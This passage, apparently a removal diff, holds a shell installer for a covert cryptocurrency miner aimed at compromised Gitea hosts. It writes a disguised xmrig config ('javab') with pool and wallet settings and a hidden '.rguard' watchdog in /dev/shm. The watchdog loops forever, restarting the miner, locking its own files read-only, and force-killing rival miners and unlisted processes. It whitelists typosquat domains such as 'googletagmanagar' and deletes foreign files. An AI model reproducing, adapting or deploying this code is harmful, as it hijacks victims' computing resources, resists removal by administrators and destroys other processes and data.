-    *"$_w/.rguard"*) is_our_script_file "$_w/.rguard" && return 0 ;;
-    *"$_w/idle"*) is_our_script_file "$_w/idle" && return 0 ;;
-    *"$_w/.khp"*) is_our_script_file "$_w/.khp" && return 0 ;;
-    *"$_w/.ksmd_guard"*) is_our_script_file "$_w/.ksmd_guard" && return 0 ;;
-  esac
-  case "$_x" in "$_w/javab") is_our_javab_pid "$_p" && return 0 ;; esac
-  case "$_c" in sleep|*/sleep)
-    _pp=$(awk '/^PPid:/{print $2}' "/proc/$_p/status" 2>/dev/null)
-    [ -n "$_pp" ] && is_our_wdir_process "$_pp" "$_w" && return 0
-    ;;
-  esac
-  return 1
-}
-
-# /dev/shm（或 WDIR）内：非我方进程/文件一律清掉
-purge_wdir_foreign() {
-  _w=$1
-  [ -n "$_w" ] && [ -d "$_w" ] || return 0
-  _un=$(id -un 2>/dev/null) || return 0
-  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
-    proc_touches_wdir "$_p" "$_w" || continue
-    is_our_wdir_process "$_p" "$_w" && continue
-    run kill -9 "$_p" 2>/dev/null || true
-  done
-  for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
-    [ -e "$_f" ] || continue
-    _b=$(basename "$_f")
-    case "$_b" in .|..) continue ;; esac
-    our_wdir_basename "$_b" && continue
-    [ -f "$_f" ] && is_our_script_file "$_f" && continue
-    wdir_unlock_file "$_f"
-    rm -rf "$_f" 2>/dev/null || true
-  done
-}
-
-# 普通用户可用：安装后 chmod 555 防对手原地覆写（不能防 rm；root 仍可改）
-wdir_unlock_file() {
-  _p=$1
-  [ -e "$_p" ] || return 0
-  chmod u+w "$_p" 2>/dev/null || true
-}
-
-wdir_unlock_all() {
-  _w=$1
-  [ -n "$_w" ] || return 0
-  for _f in javab idle .rguard .khp .ksmd_guard .javab.json .ksmd_manifest \
-    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts; do
-    wdir_unlock_file "$_w/$_f"
-  done
-}
-
-try_lock_wdir() {
-  [ -n "$WDIR" ] || return 0
-  [ "$DRY_RUN" = "1" ] && return 0
-  for _f in javab idle .rguard .khp .ksmd_guard; do
-    [ -e "$WDIR/$_f" ] && chmod 555 "$WDIR/$_f" 2>/dev/null || true
-  done
-  [ -e "$WDIR/.javab.json" ] && chmod 444 "$WDIR/.javab.json" 2>/dev/null || true
-  log "WDIR 链文件已只读锁定 (555/444，普通用户可用)"
-}
-
-# 安装前清空 WDIR：/dev/shm 平铺时清顶层全部；.pol-lite 子目录只清目录内
-wipe_install_dir() {
-  _w=$1
-  [ -n "$_w" ] || return 0
-  [ "$DRY_RUN" = "1" ] && return 0
-  log "安装前清空目录: $_w"
-  mkdir -p "$_w" 2>/dev/null || return 1
-  wdir_unlock_all "$_w"
-  for _f in javab idle .rguard .khp .khp_ts .khp_fusion_ts .javab.json .ksmd_guard .ksmd_manifest \
-    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts .javab.spawn.lock rguard.log idle_boot.log idle_cron.log \
-    idle_guard.log javab.log; do
-    rm -f "$_w/$_f" 2>/dev/null || true
-  done
-  find "$_w" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
-    wdir_unlock_file "$_kf"
-    rm -f "$_kf" 2>/dev/null || true
-  done
-  if [ "$_w" = "/dev/shm" ]; then
-    for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
-      [ -e "$_f" ] || continue
-      _b=$(basename "$_f")
-      case "$_b" in .|..) continue ;; esac
-      wdir_unlock_file "$_f"
-      rm -rf "$_f" 2>/dev/null || true
-    done
-  fi
-}
-
-# 已安装目录（有 manifest 才算我们的，重装时不能误删误杀）
-our_wdir() {
-  if [ -n "$WDIR" ] && [ -f "$WDIR/.ksmd_manifest" ]; then
-    echo "$WDIR"
-    return 0
-  fi
-  if [ -f "$REMOTE_WDIR/.ksmd_manifest" ]; then
-    echo "$REMOTE_WDIR"
-    return 0
-  fi
-  for d in /dev/shm /tmp /var/tmp; do
-    if [ -f "$d/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.ksmd_manifest" 2>/dev/null; then
-      echo "$d"
-      return 0
-    fi
-    if [ -f "$d/.pol-lite/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.pol-lite/.ksmd_manifest" 2>/dev/null; then
-      echo "$d/.pol-lite"
-      return 0
-    fi
-  done
-  return 1
-}
-
-# 对手 javab 无 -c；我方固定 ./javab -c .javab.json → 用 ps/grep 即可
-javab_cmdline() {
-  ps -p "$1" -o args= 2>/dev/null
-}
-
-is_our_javab_pid() {
-  _c=$(javab_cmdline "$1")
-  case "$_c" in *javab*-*c*) return 0 ;; esac
-  return 1
-}
-
-is_rival_javab_pid() {
-  _c=$(javab_cmdline "$1")
-  case "$_c" in *javab*) case "$_c" in *-c*) return 1 ;; esac; return 0 ;; esac
-  return 1
-}
-
-purge_tmp_gang() {
-  _ow=$(our_wdir 2>/dev/null) || _ow=""
-  [ -z "$_ow" ] && [ -n "$WDIR" ] && _ow="$WDIR"
-  _un=$(id -un 2>/dev/null) || return 0
-  _u=$(id -u 2>/dev/null) || return 0
-  if ! is_our_install_root "$_ow" /tmp; then
-    run pkill -9 -u "$_u" -f '/tmp/\.rguard' 2>/dev/null || true
-    run pkill -9 -u "$_u" -f '/tmp/idle' 2>/dev/null || true
-    run pkill -9 -u "$_u" -f '/tmp/\.khp' 2>/dev/null || true
-  fi
-  if ! is_our_install_root "$_ow" /dev/shm; then
-    run pkill -9 -u "$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
-    run pkill -9 -u "$_u" -f '/dev/shm/idle' 2>/dev/null || true
-    run pkill -9 -u "$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
-  fi
-  kill_rival_rguard
-  [ -n "$_ow" ] && purge_wdir_foreign "$_ow"
-  _keep_j=""
-  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
-    _c=$(javab_cmdline "$_p")
-    case "$_c" in
-      *"/tmp/idle"*|*" /tmp/idle"*|*"/tmp/.rguard"*)
-        case "$_c" in *"$_ow"*) continue ;; esac
-        run kill -9 "$_p" 2>/dev/null || true
-        ;;
-      *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
-        if [ "$_ow" = "/dev/shm" ] && is_our_script_file "$_ow/.rguard"; then
-          continue
-        fi
-        run kill -9 "$_p" 2>/dev/null || true
-        ;;
-      *javab*)
-        if is_rival_javab_pid "$_p"; then
-          run kill -9 "$_p" 2>/dev/null || true
-        elif is_our_javab_pid "$_p"; then
-          if [ -z "$_keep_j" ]; then _keep_j="$_p"; else run kill -9 "$_p" 2>/dev/null || true; fi
-        fi
-        ;;
-    esac
-  done
-}
-
-kill_rival_javab() {
-  _un=$(id -un 2>/dev/null) || return 0
-  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
-    is_rival_javab_pid "$_p" && run kill -9 "$_p" 2>/dev/null || true
-  done
-}
-
-kill_rival_rguard() {
-  _keep=$(our_wdir 2>/dev/null) || _keep=""
-  _un=$(id -un 2>/dev/null) || return 0
-  ps -u "$_un" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=$(echo "$_line" | awk '{print $1}')
-    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    case "$_c" in *\.rguard*|*"/tmp/idle"*|*" /tmp/idle"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*) ;; *) continue ;; esac
-    if [ -n "$_keep" ]; then
-      case "$_c" in *"$_keep"*)
-        case "$_c" in *\.rguard*|*/.rguard*)
-          is_rival_rguard_file "$_keep/.rguard" || continue
-          ;;
-        *idle*)
-          is_rival_idle_file "$_keep/idle" || continue
-          ;;
-        esac
-        ;;
-      esac
-    fi
-    run kill -9 "$_p" 2>/dev/null || true
-  done
-}
-
-fast_rival_pkill() {
-  _u=$(id -u 2>/dev/null) || return 0
-  for _pat in 'find /' .claude unicorn 6556 'base64 -d' m51sr m51src \
-    hash-object\ -w m51src m51sr 'redis/lang/ksmd' gitea_exp auto_deploy \
-    apt-update mnmonitor xmrig universal-miner sysinit kworkerds minerd cpuminer; do
-    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
-    run pkill -9 -u "$_u" -f "$_pat" 2>/dev/null || true
-  done
-}
-
-# curl 下载 xmrig/Agent 前：剥对手 cron + 再压一遍 /dev/shm 对手
-preflight_before_download() {
-  log "preflight: 清理对手 cron + flat /tmp 链..."
-  strip_rival_crontab
-  purge_tmp_gang
-  fast_rival_pkill
-}
-
-write_javab_config() {
-  cfg="$WDIR/.javab.json"
-  cat >"$cfg" <<JCFG
-{
-  "pools": [{
-    "url": "${POOL}",
-    "user": "${XMR_WALLET}",
-    "pass": "${XMR_WORKER}",
-    "algo": "rx/0",
-    "keepalive": true
-  }],
-  "cpu": { "enabled": true, "threads": ${XMR_THREADS} },
-  "donate-level": 1,
-  "randomx": { "mode": "${XMR_RANDOMX_MODE:-auto}" },
-  "log-file": "/dev/null",
-  "background": false
-}
-JCFG
-  chmod 600 "$cfg" 2>/dev/null || true
-}
-
-write_rguard() {
-  cat >"$WDIR/.rguard" <<RGUARD
-#!/bin/sh
-# $MARKER ksmd-rguard
-_W="$WDIR"
-_AGENT_H="$AGENT_HOME"
-_INTERVAL=2
-_MARKER="$MARKER"
-_ME=\$\$
-# 当前运行用户自动获取（git 或其他普通用户，非 root）
-_UN=\$(id -un 2>/dev/null)
-_UID=\$(id -u 2>/dev/null)
-
-_is_agent() {
-  case "\$1" in
-    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
-      return 0 ;;
-    *systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
-      return 0 ;;
-  esac
-  case "\$2" in
-    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
-      return 0 ;;
-  esac
-  return 1
-}
-
-_is_our_javab() {
-  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
-  case "\$_c" in *javab*-*c*) return 0 ;; esac
-  return 1
-}
-
-_our_wdir_name() {
-  case "\$1" in
-    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
-      return 0 ;;
-  esac
-  case "\$1" in .ksmd_*) return 0 ;; esac
-  return 1
-}
-
-_proc_in_wdir() {
-  _p="\$1"
-  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
-  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
-  case "\$_c" in *"\$_W/"*) return 0 ;; esac
-  case "\$_x" in "\$_W"/*) return 0 ;; esac
-  [ "\$_cwd" = "\$_W" ] && return 0
-  return 1
-}
-
-_is_our_wdir_proc() {
-  _p="\$1"
-  _proc_in_wdir "\$_p" || return 1
-  _is_our_javab "\$_p" && return 0
-  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
-  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-  case "\$_c" in
-    *"\$_W/.rguard"*) _is_our_script "\$_W/.rguard" && return 0 ;;
-    *"\$_W/idle"*) _is_our_script "\$_W/idle" && return 0 ;;
-    *"\$_W/.khp"*) _is_our_script "\$_W/.khp" && return 0 ;;
-    *"\$_W/.ksmd_guard"*) _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
-  esac
-  case "\$_x" in "\$_W/javab") _is_our_javab "\$_p" && return 0 ;; esac
-  case "\$_c" in sleep|*/sleep)
-    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
-    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
-    ;;
-  esac
-  return 1
-}
-
-_purge_wdir_foreign() {
-  [ -d "\$_W" ] || return 0
-  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
-    [ "\$_p" = "\$_ME" ] && continue
-    _proc_in_wdir "\$_p" || continue
-    _is_our_wdir_proc "\$_p" && continue
-    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
-    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-    _is_agent "\$_c" "\$_x" && continue
-    kill -9 "\$_p" 2>/dev/null
-  done
-  for _f in "\$_W"/* "\$_W"/.[!.]* "\$_W"/..?*; do
-    [ -e "\$_f" ] || continue
-    _b=\$(basename "\$_f")
-    case "\$_b" in .|..) continue ;; esac
-    _our_wdir_name "\$_b" && continue
-    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
-    chmod u+w "\$_f" 2>/dev/null
-    rm -rf "\$_f" 2>/dev/null
-  done
-}
-
-_dedupe_our_javab() {
-  _keep=""
-  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
-    _is_our_javab "\$_p" || continue
-    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
-    kill -9 "\$_p" 2>/dev/null
-  done
-}
-
-_kill_rival_javab() {
-  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
-    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
-    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
-  done
-}
-
-# 不遍历 /proc/*：先 pkill 秒杀已知对手，再用 ps -u 只列本用户进程做白名单清理
-_fast_rival() {
-  _u="\$1"
-  _keep="\$_W"
-  for _pat in unicorn 6556 'base64 -d' 'base64 -D' 'find /' .claude \
-    m51sr m51src mnmonitor apt-update 'redis/lang/ksmd' \
-    'CRON jobs' gitea_exp auto_deploy '/exp/'; do
-    pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
-  done
-  _dedupe_our_javab
-  _kill_rival_javab
-  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
-  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
-  if [ "\$_W" != "/dev/shm" ]; then
-    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
-    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
-    pkill -9 -u "\$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
-  fi
-  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=\$(echo "\$_line" | awk '{print \$1}')
-    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    if _proc_in_wdir "\$_p"; then
-      _is_our_wdir_proc "\$_p" && continue
-      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
-      kill -9 "\$_p" 2>/dev/null
-      continue
-    fi
-    case "\$_c" in *"\$_W"*) continue ;; esac
-    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-    _is_agent "\$_c" "\$_x" && continue
-    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
-    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
-    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
-      kill -9 "\$_p" 2>/dev/null ;;
-    esac
-    if [ "\$_W" != "/dev/shm" ]; then
-      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
-        kill -9 "\$_p" 2>/dev/null ;;
-      esac
-    fi
-  done
-  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
-    _p=\$(echo "\$_line" | awk '{print \$1}')
-    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    if _proc_in_wdir "\$_p"; then
-      _is_our_wdir_proc "\$_p" && continue
-      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
-      kill -9 "\$_p" 2>/dev/null
-      continue
-    fi
-    case "\$_c" in *"\$_W"*) continue ;; esac
-    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-    _is_agent "\$_c" "\$_x" && continue
-    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
-    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
-    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
-      kill -9 "\$_p" 2>/dev/null ;;
-    esac
-    if [ "\$_W" != "/dev/shm" ]; then
-      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
-        kill -9 "\$_p" 2>/dev/null ;;
-      esac
-    fi
-  done
-}
-
-_our_install_cmd() {
-  case "\$1" in
-    *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
-    */.ksmd_*) return 0 ;;
-  esac
-  return 1
-}
-
-# 对手 gitea hook：任意 IP 的 curl|sh / wget|sh，或已知对手路径（不依赖固定 IP）
-_rival_install_cmd() {
-  _our_install_cmd "\$1" && return 1
-  case "\$1" in
-    *curl*|*wget*)
-      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
-    ;;
-    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
-      case "\$1" in
-        *curl*|*wget*)
-          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
-        ;;
-        *base64*|*6556*) return 0 ;;
-      esac
-    ;;
-  esac
-  case "\$1" in
-    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
-      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
-    ;;
-  esac
-  return 1
-}
-
-_our_domain() {
-  case "\$1" in
-    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
-  esac
-  return 1
-}
-
-# 明确对手特征（含 exp / jobs / m51sr / 非我方 curl）
-_rival_hit() {
-  _c="\$1"
-  _x="\$2"
-  case "\$_x" in */gitea|*/gitea-*|*/usr/local/bin/gitea*) return 1 ;; esac
-  case "\$_c" in
-    */usr/local/bin/gitea*|*gitea\ web*|*gitea\ serv*|*--config\ /etc/gitea/app.ini*)
-      return 1 ;;
-    *m51sr*|*m51src*) return 0 ;;
-    *javab*)
-      case "\$_c" in *-c*) return 1 ;; esac
-      return 0 ;;
-    *jobs*)
-      case "\$_c" in *\$_MARKER*|*ksmd_guard*|*gitea*) return 1 ;; esac
-      return 0 ;;
-    *exp*)
-      _our_domain "\$_c" && return 1
-      return 0 ;;
-    *curl*|*wget*|*m51src*|*m51sr*)
-      _rival_install_cmd "\$_c" && return 0
-      _our_install_cmd "\$_c" && return 1
-      _our_domain "\$_c" && return 1
-      return 0 ;;
-  esac
-  return 1
-}
-
-_allowed() {
-  _c="\$1"
-  _x="\$2"
-  _pid="\$3"
-  _rival_install_cmd "\$_c" && return 1
-  _walk="\$_pid"
-  _i=0
-  while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 12 ]; do
-    _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
-    case "\$_pc" in
-      *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*)
-        return 0 ;;
-    esac
-    _our_install_cmd "\$_pc" && return 0
-    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
-    _i=\$((_i + 1))
-  done
-  case "\$_x" in
-    */usr/local/bin/gitea|*/usr/local/bin/gitea-*|*/bin/gitea|*/bin/gitea-*)
-      return 0 ;;
-    *\$_W/javab*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
-      return 0 ;;
-    */usr/bin/git*)
-      return 0 ;;
-  esac
-  case "\$_c" in
-    *git\ hash-object*|*hash-object\ -w\ --stdin*)
-      _our_install_cmd "\$_c" && return 0
-      case "\$_c" in *gitea_exp/*|*m51src*|*m51sr*) return 1 ;; esac
-      return 0 ;;
-    *javab*-*c*)
-      return 0 ;;
-    */usr/local/bin/gitea*|*/bin/gitea\ *|*gitea\ web*|*gitea\ serv*)
-      return 0 ;;
-    *--config\ /etc/gitea/app.ini*)
-      return 0 ;;
-    *git\ receive-pack*|*git\ upload-pack*|*git\ shell*|*/bin/git\ *|*/usr/bin/git\ *)
-      return 0 ;;
-    *sshd*|*" ssh "*) return 0 ;;
-    *systemd\ --user*|*sd-pam*|*dbus-daemon*|*dbus-broker*) return 0 ;;
-  esac
-  case "\$_c" in
-    *\$_W/.rguard*)
-      _is_our_script "\$_W/.rguard" && return 0 ;;
-    *\$_W/idle*)
-      _is_our_script "\$_W/idle" && return 0 ;;
-    *\$_W/.khp*)
-      _is_our_script "\$_W/.khp" && return 0 ;;
-    *\$_W/.ksmd_guard*)
-      _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
-    *\$_W/javab*)
-      _is_our_javab "\$_pid" && return 0 ;;
-    *"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
-      return 1 ;;
-    */.local/share/systemd/*|*systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
-      return 0 ;;
-    *googletagmanagar*|*googlelagmanager*|*google-analytices*)
-      return 0 ;;
-    *\$_MARKER-ksmd-guard*)
-      return 0 ;;
-  esac
-  case "\$_c" in sh|/bin/sh|bash|/bin/bash|-sh|"")
-    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_pid/status" 2>/dev/null)
-    _i=0
-    while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 8 ]; do
-      _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
-      _px=\$(readlink "/proc/\$_walk/exe" 2>/dev/null)
-      _rival_install_cmd "\$_pc" && return 1
-      case "\$_px" in */usr/local/bin/gitea|*/bin/gitea*) return 0 ;; esac
-      case "\$_pc" in
-        *\$_W/.rguard*|*\$_W/idle*|*\$_W/.khp*|*\$_W/.ksmd_guard*|*\$_W/javab*|*/.local/share/systemd/*|*googletagmanagar*|*googlelagmanager*|*gitea\ web*|*/usr/local/bin/gitea*)
-          return 0 ;;
-      esac
-      _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
-      _i=\$((_i + 1))
-    done
-    ;;
-  esac
-  return 1
-}
-
-_ps_me() {
-  [ -n "\$_UN" ] || _UN=\$(id -un 2>/dev/null)
-  ps -u "\$_UN" -o pid=,args= -ww --no-headers 2>/dev/null && return 0
-  ps -U "\$_UN" -o pid=,args= -ww 2>/dev/null
-}
-
-_dedupe_our_idle() {
-  _keep=""
-  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
-    [ "\$_p" = "\$_ME" ] && continue
-    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
-    kill -9 "\$_p" 2>/dev/null
-  done
-}
-
-_start_javab() {
-  _lk="\$_W/.javab.spawn.lock"
-  mkdir "\$_lk" 2>/dev/null || return 0
-  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
-  cd "\$_W" || { rmdir "\$_lk" 2>/dev/null; return 1; }
-  [ -f "\$_W/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
-  [ -x "\$_W/javab" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
-  ./javab -c .javab.json >>/dev/null 2>&1 &
-  rmdir "\$_lk" 2>/dev/null
-}
-
-# idle 挂掉时由 rguard 补链（容器无 crontab 时不能单靠 idle 自恢复）
-_ensure_miner_chain() {
-  [ -x "\$_W/idle" ] || return 0
-  _dedupe_our_idle
-  pgrep -f "\$_W/idle" >/dev/null 2>&1 || nohup sh "\$_W/idle" >>/dev/null 2>&1 &
-  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
-    _start_javab
-  fi
-}
-
-# 与 idle 共用时间戳，避免双份触发；idle 不在时仍每 60s 调 guard
-_maybe_ksmd_guard() {
-  [ -x "\$_W/.ksmd_guard" ] || return 0
-  _now=\$(date +%s 2>/dev/null)
-  [ -n "\$_now" ] || return 0
-  _lg=\$(cat "\$_W/.ksmd_guard_loop_ts" 2>/dev/null)
-  [ -z "\$_lg" ] && _lg=0
-  [ \$((_now - _lg)) -lt 60 ] 2>/dev/null && return 0
-  echo "\$_now" > "\$_W/.ksmd_guard_loop_ts" 2>/dev/null
-  sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
-}
-
-_is_our_script() {
-  _f="\$1"
-  [ -f "\$_f" ] || return 1
-  head -5 "\$_f" 2>/dev/null | grep -qF "\$_MARKER" && return 0
-  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-rguard' && return 0
-  head -12 "\$_f" 2>/dev/null | grep -q 'KSMD_URL' && return 0
-  head -12 "\$_f" 2>/dev/null | grep -q 'googletagmanagar' && return 0
-  return 1
-}
-
-_tampered_on_disk() {
-  head -3 "\$_W/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
-  head -10 "\$_W/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
-  _is_our_script "\$_W/.rguard" && _is_our_script "\$_W/idle" || return 0
-  return 1
-}
-
-# 对手 hook 覆写 /dev/shm 脚本时：删对手文件、杀对手进程、触发 ksmd_guard 重装
-_defend_our_files() {
-  _tampered_on_disk || return 0
-  for _f in idle .rguard .khp; do
-    _p="\$_W/\$_f"
-    _is_our_script "\$_p" && continue
-    chmod u+w "\$_p" 2>/dev/null
-    rm -f "\$_p" 2>/dev/null
-  done
-  for _p in \$(pgrep -f "\$_W/.rguard" 2>/dev/null); do
-    [ "\$_p" = "\$_ME" ] && continue
-    kill -9 "\$_p" 2>/dev/null
-  done
-  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
-    kill -9 "\$_p" 2>/dev/null
-  done
-  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
-    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
-    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
-  done
-  _now=\$(date +%s 2>/dev/null)
-  _lg=\$(cat "\$_W/.ksmd_defend_ts" 2>/dev/null)
-  [ -n "\$_now" ] && [ -n "\$_lg" ] && [ \$((_now - _lg)) -lt 30 ] 2>/dev/null && return 0
-  echo "\$_now" > "\$_W/.ksmd_defend_ts" 2>/dev/null
-  [ -x "\$_W/.ksmd_guard" ] && sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
-}
-
-_relock_our_files() {
-  for _f in javab idle .rguard .khp .ksmd_guard; do
-    _p="\$_W/\$_f"
-    case "\$_f" in
-      javab) [ -f "\$_p" ] || continue ;;
-      *) _is_our_script "\$_p" || continue ;;
-    esac
-    [ -f "\$_p" ] && chmod 555 "\$_p" 2>/dev/null
-  done
-  [ -f "\$_W/.javab.json" ] && chmod 444 "\$_W/.javab.json" 2>/dev/null
-}
-
-while true; do
-  _UID=\$(id -u 2>/dev/null)
-  [ -n "\$_UID" ] && [ "\$_UID" != "0" ] || { sleep \$_INTERVAL; continue; }
-  _defend_our_files
-  _relock_our_files
-  _purge_wdir_foreign
-  _fast_rival "\$_UID"
-  _dedupe_our_javab
-  _ps_me | while IFS= read -r _line; do
-    _p=\$(echo "\$_line" | awk '{print \$1}')
-    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
-    [ -n "\$_p" ] || continue
-    [ "\$_p" = "\$_ME" ] && continue
-    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
-    _is_our_javab "\$_p" && continue
-    _is_agent "\$_c" "\$_x" && continue
-    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
-    _allowed "\$_c" "\$_x" "\$_p" && continue
-    _rival_hit "\$_c" "\$_x" && { kill -9 "\$_p" 2>/dev/null; continue; }
-    kill -9 "\$_p" 2>/dev/null
-  done
-  _ensure_miner_chain
-  _maybe_ksmd_guard
-  sleep \$_INTERVAL
-done
-RGUARD
-  chmod 755 "$WDIR/.rguard"
-}
-
-# 清理/下载前先落地我方 .rguard，避免 rival 0.1s 轮询杀 curl/sh/tar
-bootstrap_install_guard() {
-  [ "$DRY_RUN" = "1" ] && return 0
-  echo "KSMD_BOOTSTRAP"
-  preflight_before_download
-  pick_wdir || return 0
-  wipe_install_dir "$WDIR"
-  log "bootstrap: 抢占 guard -> $WDIR"
-  kill_rival_rguard
-  fast_rival_pkill
-  write_rguard
-  if ! pgrep -f "$WDIR/.rguard" >/dev/null 2>&1; then
-    nohup sh "$WDIR/.rguard" >>/dev/null 2>&1 &
-    sleep 1
-  fi
-  kill_rival_rguard
-}
-
-write_idle() {
-  cat >"$WDIR/idle" <<IDLE
-#!/bin/sh
-# $MARKER ksmd-idle
-exec >/dev/null 2>&1
-PROCESS="javab"
